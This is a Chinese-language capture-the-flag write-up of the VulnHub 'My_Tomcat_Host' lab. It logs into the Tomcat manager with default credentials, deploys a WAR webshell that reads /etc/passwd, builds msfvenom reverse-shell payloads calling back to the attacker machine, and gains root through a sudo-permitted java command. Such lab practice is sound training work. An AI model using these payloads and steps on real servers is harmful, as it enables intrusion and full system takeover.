VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有目標去完成,大多是拿到root權限。
文章較臃長,記錄了不斷測試並完成目標的過程。
文章目錄
一、相關簡介
靶機:
該靶機存在Tomcat管理後臺弱口令以及文件上傳漏洞。
- 名稱:My_Tomcat_Host
- 難度:初學者
- 目標:root 權限
環境:
- 靶機:My_Tomcat_Host —— 192,168.11.15
- 攻擊機:Kali —— 192.168.11.11
- 工具:Nmap、dirb、NetCat(nc)、BurpSuit、MSF等
流程:
- 信息蒐集
- Web站點滲透並得到 OS shell
- 上傳木馬,java命令提權,拿到 root 權限
二、滲透步驟
1、信息蒐集
主機發現
Nmap主機掃描
dirb Web目錄爆破
主機信息:
- OS:Linux
- Web:Apache Tomcat 9.0.31
- 22端口:ssh OpenSSH 6.6.1
- 8080端口:http Apache Tomcat 9.0.31
Web目錄:
- ./manager
其餘目錄都是基本的Tomcat信息
2、漏洞發現
Ps:弱口令 + 文件上傳
Web站點是一個Tomcat站,訪問其管理頁面 ./manager,嘗試了admin賬戶:admin admin
,頁面報錯
嘗試 tomcat tomcat
成功進入後臺
可以部署 WAR 文件
經測試存在文件上傳漏洞。
3、漏洞利用
既然存在文件上傳漏洞,那就可以製作木馬上傳拿shell了
3.1、jar 製作 war 木馬(失敗)
很奇怪的是,我用 jar 製作的 jsp 小馬可以訪問,但是連接不上蟻劍;然後製作 jsp 系統命令執行的小馬,也是無法建立反彈shell,但是可以成功執行一些其他命令,如下:
jsp 系統命令小馬內容:
製作 shell.war
上傳並訪問,然後傳入參數爲系統命令:cat /etc/passwd
,成功執行
靶機上沒有安裝 nc
毫無疑問 bash 是存在的
按理來說就可以建立反彈shell,但是卻沒有成功。
3.2、MSFvenom 製作 war 木馬
於是嘗試使用 MSF 來創建木馬並建立shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.11.11 LPORT=4444 -f war > shell.war
上傳至網站,本地使用MSF監聽4444端口
訪問 ./shell 路徑,即可建立反彈shell
4、權限提升
進入系統,查看 sudo 權限發現有一個 java 命令,那就可以再次製作一個 jar 木馬,然後建立shell
製作 jar 木馬
msfvenom —platform java -f jar -p java/shell_reverse_tcp LHOST=192.168.11.11 LPORT=5555 -o shell.jar
本地開啓服務器,將木馬下載至靶機
kali nc監聽5555端口,靶機上使用 java 執行木馬文件,即可建立shell,得到root權限
sudo -u root java -jar shell.jar
得到一個文件,這個是什麼flag?解MD5也沒有結果
就這樣。
三、總結
整體步驟:
- 目錄爆破得到Tomcat的後臺管理界面,默認密碼登入系統
- 部署文件處上傳WAR木馬,kali監聽得到OS shell
- 利用java命令的sudo權限,執行木馬得到root權限
知識點:
- Tomcat管理路徑是 ./manager